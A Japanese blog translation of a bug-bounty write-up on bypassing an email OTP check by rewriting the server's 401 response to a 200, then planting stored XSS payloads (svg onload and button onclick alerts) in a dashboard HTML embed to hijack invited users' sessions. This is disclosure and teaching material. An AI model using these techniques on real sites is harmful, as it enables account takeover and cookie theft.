Shikata Ga Nai

Private? There is no such things.

Story About OTP Bypass To Stored XSSを訳してみた

Hello there, ('ω')ノ

 

保存されたXSSへのOTPバイパスについてのストーリーを。

 

脆弱性:

 OTPバイパス

 保存されたXSS

 

記事:

 https://pallabjyoti218.medium.com/story-about-otp-bypass-to-stored-xss-81bfd735c709

 

今回は、トリッキーな悪用で。

匿名でアカウントを作成してユーザアカウントを乗っ取る方法を。

 

ターゲットのwww.xyz.comで、アカウントを作成して。

登録フォームに記入して、登録後にOTP検証を要求することに。

自分の電子メールでOTPを受け取って。

その4桁の数字は、実際にはOTPは脆弱で。

OTPの1234の数値で、34の値は何度もOTPを要求したときにのみ変更されるので。

ブルートフォースに対して脆弱で。

 

ここで、OTP検証を入力する必要があるので。

ランダムに0000を入力してリクエストすると。

 

POST /v1/email?change=false&code=0000 HTTP/1.1

Host: xyz.com

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0

Accept: application/json, text/plain, */*

Accept-Language: en-US,en;q=0.5

 

ここで、ホストに転送して応答は下記のとおりで。

 

HTTP/1.1 401 Unauthorized

Content-Security-Policy: frame-ancestors ‘none’

Content-Type: application/json; charset=utf-8

Content-Length: 42

Date: Fri, 22 May 2020 19:20:04 GMT

{“err”:”Incorrect code”,”ECODE”:”USR_014"}

 

応答は、401無許可を得たものの心配する必要はなく。

ここで、応答操作を使用してバイパスするだけで。

応答を次のように変更して。

 

HTTP/1.1 200 OK

Content-Security-Policy: frame-ancestors ‘none’

Content-Type: application/json; charset=utf-8

Content-Length: 42

Date: Fri, 22 May 2020 19:20:04 GMT

{}

 

すると、OTP(ワンタイムパスワード)をバイパスして。

確認なしでログインできて。

 

下記では、OTPバイパス、xss、csrf、ssrfに関するいくつかのものを。

見つけることができて。

 https://github.com/devanshbatham/Awesome-Bugbounty-Writeups

 

f:id:ThisIsOne:20211211074511p:plain

 

次に、保存されたXSSに目を向けることに。

ここでは、ユーザのダッシュボードから。

HTML As Custom Embedなどを追加できるので。

下記を実行するとHTMLしか受け入れられず。

 “><svg/onload=alert(1);>

 

f:id:ThisIsOne:20211211074544p:plain

 

もう1つのペイロードを使用してみると。

HTMLペイロードが実行されて。

 <button onclick=”window.alert(1)”>click</button>

 

f:id:ThisIsOne:20211211074620p:plain

 

上の画像のように、「click」ボタンを表示するペイロードは。

実際には、非表示にしていて。

「click」ボタンをクリックするとXSSが実行されて。

f:id:ThisIsOne:20211211074642p:plain

 

ここで、ダッシュボードに任意のユーザを招待できる場所を見つけたので。

別のIDメールアドレスを追加して、ダッシュボードに招待状を送信して。

 

f:id:ThisIsOne:20211211074710p:plain

 

被害者が「click」ボタンをクリックすると。

被害者を招待することに成功して。

ペイロードが実行されると。

Cookieを盗むことで誰でもアカウントを乗っ取ることができて。

下記は、被害者ブラウザで。

 

f:id:ThisIsOne:20211211074728p:plain

 

Best regards, (^^ゞ